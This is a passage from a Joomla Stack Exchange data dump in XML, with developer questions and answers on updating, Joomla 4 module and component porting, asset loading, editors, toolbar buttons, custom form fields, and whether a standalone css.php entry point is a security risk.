message;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can use this feature to update Joomla if your server is behind a&#xA;firewall or otherwise unable to contact the update servers. First&#xA;download the Joomla Upgrade Package in ZIP format from the official&#xA;Joomla download page. Then use the fields below to upload and install&#xA;it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Am I missing something? Do I need to change the update settings? Couldn't see any information in the docs about this.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2021-08-25T09:36:49.140" Title="Joomla 3.10.1 Pre Update Check Missing" Tags="|joomla-3.x|update|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31465" PostTypeId="2" ParentId="31464" CreationDate="2021-08-25T09:36:49.140" Score="2" Body="&lt;p&gt;When you are in the Joomla Update page select Options up in the top right corner.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3yPKO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3yPKO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From there change the channel to Joomla Next, you are probably still on Default which is Joomla 3.x&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FO0e0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FO0e0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may also have to go into Extensions-&amp;gt;Manage-&amp;gt;Update and Clear Cache and Find Updates after switching between the Default and Joomla Next channels.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iO6d4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iO6d4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-08-25T09:36:49.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31466" PostTypeId="1" CreationDate="2021-08-25T14:58:48.363" Score="0" ViewCount="71" Body="&lt;p&gt;I am brand new to Joomla and it appears that it does not allow JavaScript codes to run by default. I am running my website on the latest version (3.10). I have looked all around the internet, disabled all editor options as suggested, however to no avail. Wondering if there is a way to enable it without installing any additional module/plugin. From old references, something similar to adding a custom HTML/JavaScript is needed. I need to be able to place Amazon/Google advertisements on my site.&lt;/p&gt;&#xA;" OwnerUserId="15664" LastActivityDate="2021-08-25T14:58:48.363" Title="Cannot add Amazon Banner Links in Joomla Site" Tags="|joomla-3.x|javascript|jhtml|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="31467" PostTypeId="2" ParentId="31462" CreationDate="2021-08-25T15:57:17.763" Score="2" Body="&lt;p&gt;I've been adapting my custom J3 modules into J4 locally in a WAMP environment followed by installing them on a live test site. So far the only change I've had to make is adding the &amp;lt;namespace&amp;gt; to the module .xml files. These are simple extensions which display frontend content. Your mileage may vary depending on how complicated your modules are.&lt;/p&gt;&#xA;&lt;p&gt;Here are a couple overviews I found while I was prepping my modules&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=jUc5sMqb22E&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=jUc5sMqb22E&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.digital-peak.com/images/blog/JWC17_Prepare_you_extension_for_Joomla_4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla.digital-peak.com/images/blog/JWC17_Prepare_you_extension_for_Joomla_4.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For J4 Modules you may want to look at these resources&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J4.x:Creating_a_Simple_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J4.x:Creating_a_Simple_Module&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ceford/j4xdemos-mod-mydownmsg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ceford/j4xdemos-mod-mydownmsg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also downloaded J4-compatible modules from the &lt;a href=&quot;https://extensions.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JED&lt;/a&gt; and looked through their files to see how they were written&lt;/p&gt;&#xA;&lt;p&gt;I haven't tried building a component yet but I found these resources&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Developing_an_MVC_Component&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J4_Component_example_-_Mywalks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4_Component_example_-_Mywalks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/ceford/j4xdemos-com-mywalks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ceford/j4xdemos-com-mywalks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Again, downloading and examining some J4-compatible components might provide useful guidance and insight.&lt;/p&gt;&#xA;" OwnerUserId="14666" LastEditorUserId="14666" LastEditDate="2021-08-25T16:03:01.897" LastActivityDate="2021-08-25T16:03:01.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31468" PostTypeId="1" CreationDate="2021-08-25T16:57:39.713" Score="1" ViewCount="229" Body="&lt;p&gt;I came across &lt;a href=&quot;https://stackoverflow.com/questions/13398122/cannot-have-ajax-working-in-my-joomla-module#comment-18304045&quot;&gt;this&lt;/a&gt; on joomla.stackechange which has me concerned:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;quot;define('_JEXEC', 1) is a bad for security in the module. It allows people to use this file as an alternative entry point for joomla.&amp;quot;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've created a &lt;strong&gt;css.php&lt;/strong&gt; file as an adjunct to a custom Joomla 4 template. It uses &lt;strong&gt;define('_JEXEC', 1)&lt;/strong&gt; to load some of the template's color parameters in the backend (a history of that can be found &lt;a href=&quot;https://joomla.stackexchange.com/questions/31400/joomla4-load-a-custom-stylesheet-admin-css-php-in-administration/&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Can anyone tell me if this file is a security risk:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__ . '/../../..');&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container.&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;// alias the session service key to the web session service.&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;$app       = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;$template  = $app-&amp;gt;getTemplate(true);&#xA;$params    = $template-&amp;gt;params;&#xA;&#xA;header(&amp;quot;Content-Type:text/css; charset=UTF-8&amp;quot;);&#xA;header(&amp;quot;Cache-Control:must-revalidate&amp;quot;);&#xA;?&amp;gt;&#xA;.bg01 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color:&amp;lt;?php echo $params-&amp;gt;get('color01'); ?&amp;gt;; }&#xA;.bg02 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color:&amp;lt;?php echo $params-&amp;gt;get('color02'); ?&amp;gt;; }&#xA;.bg03 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color:&amp;lt;?php echo $params-&amp;gt;get('color03'); ?&amp;gt;; }&#xA;.bg04 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color:&amp;lt;?php echo $params-&amp;gt;get('color04'); ?&amp;gt;; }&#xA;.btn-check:checked + .btn-outline-secondary.bg01 {text-shadow: 0px 1px #000000; color:#fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color01'); ?&amp;gt;; }&#xA;.btn-check:checked + .btn-outline-secondary.bg02 {text-shadow: 0px 1px #000000; color:#fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color02'); ?&amp;gt;; }&#xA;.btn-check:checked + .btn-outline-secondary.bg03 {text-shadow: 0px 1px #000000; color:#fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color03'); ?&amp;gt;; }&#xA;.btn-check:checked + .btn-outline-secondary.bg04 {text-shadow: 0px 1px #000000; color:#fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color04'); ?&amp;gt;; }&#xA;&amp;lt;!-- EOF --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I use a browser to navigate to the css.php file location, it displays only the CSS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.bg01 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color: #9E9E9E; }&#xA;.bg02 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color: #607D8B; }&#xA;.bg03 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color: #3F51B5; }&#xA;.bg04 {text-shadow: 0px 1px #000000; border-color: #495057; font-weight: bold; color: #2196F3; }&#xA;.btn-check:checked + .btn-outline-secondary.bg01 {text-shadow: 0px 1px #000000; color:#fff; background-color: #9E9E9E; }&#xA;.btn-check:checked + .btn-outline-secondary.bg02 {text-shadow: 0px 1px #000000; color:#fff; background-color: #607D8B; }&#xA;.btn-check:checked + .btn-outline-secondary.bg03 {text-shadow: 0px 1px #000000; color:#fff; background-color: #3F51B5; }&#xA;.btn-check:checked + .btn-outline-secondary.bg04 {text-shadow: 0px 1px #000000; color:#fff; background-color: #2196F3; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this a vulnerability? Can anyone recommend an alternative method for retrieving (color) parameters in admin? I've seen &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;com_ajax&lt;/a&gt; mentioned but I don't enough about it or whether it's appropriate to use in this case.&lt;/p&gt;&#xA;&lt;p&gt;(Reference to a working example would be ideal as I am very much a novice when it comes to Joomla PHP -- being able to step through existing pieces of code has been my best learning tool)&lt;/p&gt;&#xA;" OwnerUserId="14666" LastActivityDate="2023-05-19T04:42:26.973" Title="Security concern in Joomla .php: is define('_JEXEC', 1) safe to use?" Tags="|security|joomla-4.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31470" PostTypeId="2" ParentId="31468" CreationDate="2021-08-26T06:55:22.047" Score="1" Body="&lt;p&gt;Constant check is used to prevent script execution when PHP files are accessed directly (e.g. in the browser). In your case this isn't an issue since your is essentially a separate application. It's a valid entry point.&lt;/p&gt;&#xA;&lt;p&gt;There is an issue of your script not being a valid Joomla web application. It doesn't go over the standard request cycle which could cause some issues here and there. For instance, by adding &lt;code&gt;Itemid[]&lt;/code&gt; parameter to the URL we can invoke a PHP warning:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Illegal offset type in isset or empty in &lt;b&gt;C:\laragon\www\joomla-cms\libraries\src\Menu\AbstractMenu.php&lt;/b&gt; on line 148&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If error reporting is disabled in Joomla, the warning won't appear. But the point is, some code may rely on application being executed properly.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I've seen com_ajax mentioned but I don't enough about it or whether it's appropriate to use in this case.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;com_ajax&lt;/code&gt; is generally the right way to do something like this in Joomla. There are some faster options like caching the generated stylesheet to file. But arguably the best option for your case is using inline styles.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-08-26T06:55:22.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31471" PostTypeId="1" AcceptedAnswerId="31472" CreationDate="2021-08-27T06:36:26.283" Score="4" ViewCount="618" Body="&lt;p&gt;What is the best practice for loading styles and scripts?&lt;/p&gt;&#xA;&lt;p&gt;Option 1:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::stylesheet(Uri::base().'media/com_mycomponent/css/mycomponent.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Option 2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;registerAndUseStyle('mycomponentCore', 'com_mycomponent/mycomponent.css');&#xA;$wa-&amp;gt;registerAndUseStyle('mycomponentList', 'com_mycomponent/list.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've used both and they seem to work ok but what is the best bearing in mind the future into J5?&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-08-27T07:44:08.347" Title="Best Practice: Loading component Styles &amp; Scripts in J4" Tags="|javascript|joomla-4.x|style|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31472" PostTypeId="2" ParentId="31471" CreationDate="2021-08-27T07:44:08.347" Score="5" Body="&lt;p&gt;Both have pros and cons.&lt;/p&gt;&#xA;&lt;p&gt;Web Asset Manager is great if your loading an asset that depends on another one. For example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;some jQuery plugin&lt;/li&gt;&#xA;&lt;li&gt;that depends on jQuery&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Your json file can set jQuery as a dependency, meaning you don't need to manually import it.&lt;/p&gt;&#xA;&lt;p&gt;If you're loading a single file that has no dependencies, then the Web Asset Manager has a lot of unecessary overhead and you're probably best off using &lt;code&gt;HTMLHelper&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;When it comes to Javascript, I never use the Web Asset Manager. If I need to import a dependency, I use JS &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import&quot; rel=&quot;noreferrer&quot;&gt;module imports&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To answer your question, it really depends on the number of assets you're trying to import, which assets you need, how many views/layouts you have, etc.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-08-27T07:44:08.347" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31473" PostTypeId="1" AcceptedAnswerId="31474" CreationDate="2021-08-27T17:50:15.020" Score="5" ViewCount="715" Body="&lt;p&gt;I'm currently updating my component to work in Joomla 4, and I've run into an issue with editors. I previously used this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$editor = JFactory::getEditor();&#xA;$editor-&amp;gt;display('text', $this-&amp;gt;item-&amp;gt;text, '', '', '', '', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've since updated to this based one what little I could find:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Editor\Editor;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;$user = Factory::getUser();&#xA;$editor = Editor::getInstance($user-&amp;gt;getParam('editor', Factory::getConfig()-&amp;gt;get('editor')));&#xA;$editor-&amp;gt;display('text', $this-&amp;gt;item-&amp;gt;text, '', '', '', '', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm fully unaware of what I'm doing wrong, but the end result is I have the desired editor with a second editor nested inside.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/y8mnQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8mnQ.png&quot; alt=&quot;nested editors&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2021-08-27T18:00:13.160" Title="How to properly display editor instance in Joomla 4" Tags="|editor|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31474" PostTypeId="2" ParentId="31473" CreationDate="2021-08-27T18:00:13.160" Score="1" Body="&lt;p&gt;Accidentally stumbled upon the answer. I hadn't realized that a parent div used the same &lt;code&gt;id=&amp;quot;text&amp;quot;&lt;/code&gt;, and I guess that the script for loading the editor just grabbed the first id it saw that matched.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2021-08-27T18:00:13.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31475" PostTypeId="1" AcceptedAnswerId="31479" CreationDate="2021-08-28T09:48:11.740" Score="1" ViewCount="1065" Body="&lt;p&gt;I've created many custom buttons in my components for Joomla! 3 but I hit a stubbling block creating one in J4.&#xA;In my View file I have&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toolbar = Toolbar::getInstance('toolbar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then I've tried&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$toolbar-&amp;gt;custom('processData', Text::_('COM_MYCOMPONENT_PROCESS_DATA'), 'mycontroller.processData');&#xA;$toolbar-&amp;gt;CustomButton('processData', Text::_('COM_MYCOMPONENT_PROCESS_DATA'), 'mycontroller.processData');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I've tried&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;\Joomla\CMS\Toolbar\Button\CustomButton::renderButton('processData', Text::_('COM_MYCOMPONENT_PROCESS_DATA'), 'mycontroller.processData');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any advice/guidance appreciated.  Cheers.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-09-29T04:48:16.083" Title="Add Custom Admin Button in component - Joomla4" Tags="|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31476" PostTypeId="1" CreationDate="2021-08-28T11:15:10.183" Score="1" ViewCount="231" Body="&lt;p&gt;I want to send emails using Smtp.gmail.com with oauth2 support, but I couldn't find any explanation. Everyone seems to avoid discussing this, and the few questions about it have not been answered concretely and visibly. An example is that there is no such question on Stack Exchange.&lt;/p&gt;&#xA;&lt;p&gt;As far as I know, Google wanted to stop the method of connecting outside of Oauth in February 2021, but due to the pandemic this did not happen. I thought Joomla 4.X would support Oauth2, but it didn't. So I started looking and I saw that Joomla uses PHPMailer so I searched and made a script to send an email using smtp and connecting through the oauth2 method.&lt;/p&gt;&#xA;&lt;p&gt;Now I don't know how to use this script in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;My question is can I use it? Or I can use it in the script used by Joomla to send emails to enter the connection oauth2, as a connection method, and the client ID, secret.&lt;/p&gt;&#xA;&lt;p&gt;I have no idea where this script is. Anyone can help me with some suggestions:&lt;/p&gt;&#xA;&lt;p&gt;Where can I find the script used by Joomla to send emails?&lt;/p&gt;&#xA;&lt;p&gt;P.S. This message was written with Google translate, because I don't know English very well.&lt;/p&gt;&#xA;" OwnerUserId="14962" LastEditorUserId="12352" LastEditDate="2021-08-28T23:22:20.700" LastActivityDate="2022-10-25T07:23:05.453" Title="How can I implement OAuth2 for sending emails" Tags="|emails|google|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31477" PostTypeId="1" AcceptedAnswerId="31478" CreationDate="2021-08-28T11:52:51.547" Score="0" ViewCount="71" Body="&lt;p&gt;when i do a var dump of ($fields), i get this. i am trying to get the object element =&amp;gt; @attributes =&amp;gt; article&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected 'autofocus' =&amp;gt; boolean false&#xA;  protected 'element' =&amp;gt; &#xA;    object(SimpleXMLElement)[570]&#xA;      public '@attributes' =&amp;gt; &#xA;        array (size=9)&#xA;          'name' =&amp;gt; string 'terms' (length=5)&#xA;          'type' =&amp;gt; string 'terms' (length=5)&#xA;          'label' =&amp;gt; string 'PLG_USER_TERMS_FIELD_LABEL' (length=26)&#xA;          'description' =&amp;gt; string 'PLG_USER_TERMS_FIELD_DESC' (length=25)&#xA;          'default' =&amp;gt; string '0' (length=1)&#xA;          'filter' =&amp;gt; string 'integer' (length=7)&#xA;          'required' =&amp;gt; string 'true' (length=4)&#xA;          'article' =&amp;gt; string '6' (length=1)&#xA;          'note' =&amp;gt; string '' (length=0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tried &lt;code&gt;echo $field-&amp;gt;element['article']&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How do i get the value of 6 for article?&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2021-08-28T12:42:32.433" Title="Getting object value from form fields" Tags="|php|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31478" PostTypeId="2" ParentId="31477" CreationDate="2021-08-28T12:42:32.433" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Form.FormField.html#method_getAttribute&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\CMS\Form\FormField::getAttribute()&lt;/code&gt;&lt;/a&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$field-&amp;gt;getAttribute('article');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-08-28T12:42:32.433" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31479" PostTypeId="2" ParentId="31475" CreationDate="2021-08-28T20:50:59.810" Score="2" Body="&lt;p&gt;With a fresh mind this morning, I thought I'd try the old J3 way using the ToolbarHelper and problem solved.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ToolbarHelper::custom('mycontroller.processData', 'process.png', 'process_f2.png', 'COM_MYCOMPONENT_PROCESS_DATA', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Later Edit:&#xA;I've been trying to take more notice of the @deprecated 5.0 flags so thanks again @Carlitorweb. So it's only the second icon (iconOver) param is deprecated in 5.0.&#xA;Because I simply wanted a duplicate button option, I actually used the save2copy variety and because I'm using a childToolbar within a dropdown, I've ended up with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dropdown = $toolbar-&amp;gt;dropdownButton('status-group')&#xA;    -&amp;gt;text('JTOOLBAR_CHANGE_STATUS')&#xA;    -&amp;gt;toggleSplit(false)&#xA;    -&amp;gt;icon('fas fa-ellipsis-h')&#xA;    -&amp;gt;buttonClass('btn btn-action')&#xA;    -&amp;gt;listCheck(true);&#xA;&#xA;$childBar = $dropdown-&amp;gt;getChildToolbar();&#xA;$childBar-&amp;gt;save2copy('events.duplicate', 'Duplicate')-&amp;gt;listCheck(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then there's the standardButton too which I'm using to show the number of records:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$nRecords = $this-&amp;gt;pagination-&amp;gt;total;&#xA;$toolbar-&amp;gt;standardButton('nrecords')&#xA;    -&amp;gt;icon('fa fa-info-circle')&#xA;    -&amp;gt;text($nRecords . ' Records')&#xA;    -&amp;gt;task('')&#xA;    -&amp;gt;onclick('return false')&#xA;    -&amp;gt;listCheck(false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works well and hope it might help others.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2021-09-29T04:48:16.083" LastActivityDate="2021-09-29T04:48:16.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31480" PostTypeId="1" CreationDate="2021-08-29T14:39:42.317" Score="0" ViewCount="127" Body="&lt;p&gt;I am a novice dabbler in Joomla PHP. I can build custom templates and simple frontend modules. I’m trying to write my first custom form field. I’ve gone over the documentation, reviewed several threads and examples, but I'm having trouble understanding the architecture and syntax.&lt;/p&gt;&#xA;&lt;p&gt;The field I want to create is for CSS dimensions, where the User enters a number  and a selects a unit .&lt;/p&gt;&#xA;&lt;p&gt;The field would concatenate these values. So if the User entered the number 22 and selected ‘px’ from the dropdown box, the field would return a value of ‘22px’. Honestly I am kind of surprised no one has written one already.&lt;/p&gt;&#xA;&lt;p&gt;I have set up the basic architecture so that the field shows up in my custom template. But I’ve gotten several syntax errors.&lt;/p&gt;&#xA;&lt;p&gt;I know the code below is not correct, but it should illustrate what I’m trying to accomplish:&#xA;&lt;strong&gt;/templates/mytemplate/fields/dimension.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldDimension extends JFormField {&#xA;&#xA;    protected $type = 'dimension';&#xA;&#xA;    protected function getInput() {&#xA;&#xA;    return  '&amp;lt;input id=&amp;quot;'.$this-&amp;gt;id.'_number&amp;quot; name=&amp;quot;'.$this-&amp;gt;name.'_number&amp;quot; type=&amp;quot;number&amp;quot;/&amp;gt;'.&#xA;            '&amp;lt;select id=&amp;quot;'.$this-&amp;gt;id.'_unit&amp;quot; name=&amp;quot;'.$this-&amp;gt;name.'_unit&amp;quot;&amp;gt;'.&#xA;                '&amp;lt;option value=&amp;quot;px&amp;quot;&amp;gt;px&amp;lt;/option&amp;gt;'.&#xA;                '&amp;lt;option value=&amp;quot;em&amp;quot;&amp;gt;em&amp;lt;/option&amp;gt;'.&#xA;                '&amp;lt;option value=&amp;quot;rem&amp;quot;&amp;gt;rem&amp;lt;/option&amp;gt;'.&#xA;                '&amp;lt;option value=&amp;quot;vh&amp;quot;&amp;gt;vh&amp;lt;/option&amp;gt;'.&#xA;                '&amp;lt;option value=&amp;quot;vw&amp;quot;&amp;gt;vw&amp;lt;/option&amp;gt;'.&#xA;                '&amp;lt;option value=&amp;quot;%&amp;quot;&amp;gt;%&amp;lt;/option&amp;gt;'.&#xA;            '&amp;lt;/select&amp;gt;'.&#xA;            '&amp;lt;input id=&amp;quot;'.$this-&amp;gt;id.'&amp;quot; name=&amp;quot;'.$this-&amp;gt;name.'&amp;quot; value=&amp;quot;'.$this-&amp;gt;value.'&amp;quot; type=&amp;quot;hidden&amp;quot;&amp;gt;&amp;quot;';&#xA;&#xA;    }&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I realize that I can just use two separate fields (text and list fields) and combine the values later. But having this custom field would be more efficient. And the field could probably be extended to return CSS padding values like &amp;quot;10px 5px 15px 5px&amp;quot;, something that would otherwise require eight Joomla form fields .&lt;/p&gt;&#xA;&lt;p&gt;Looking for any pointers in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="14666" LastActivityDate="2024-01-16T22:04:00.400" Title="Trying to write a custom form field that concatenates &lt;input&gt; and &lt;select&gt; values" Tags="|php|custom-field|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31481" PostTypeId="2" ParentId="31480" CreationDate="2021-08-29T19:29:53.827" Score="0" Body="&lt;p&gt;The use of hidden input requires some JavaScript to populate the field when values are chosen in other fields. A simpler solution would be to use array notation for field names instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&amp;quot;' . $this-&amp;gt;name . '[number]&amp;quot; type=&amp;quot;number&amp;quot; value=&amp;quot;' . htmlspecialchars($this-&amp;gt;value['number'] ?? '') . '&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-08-29T19:29:53.827" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
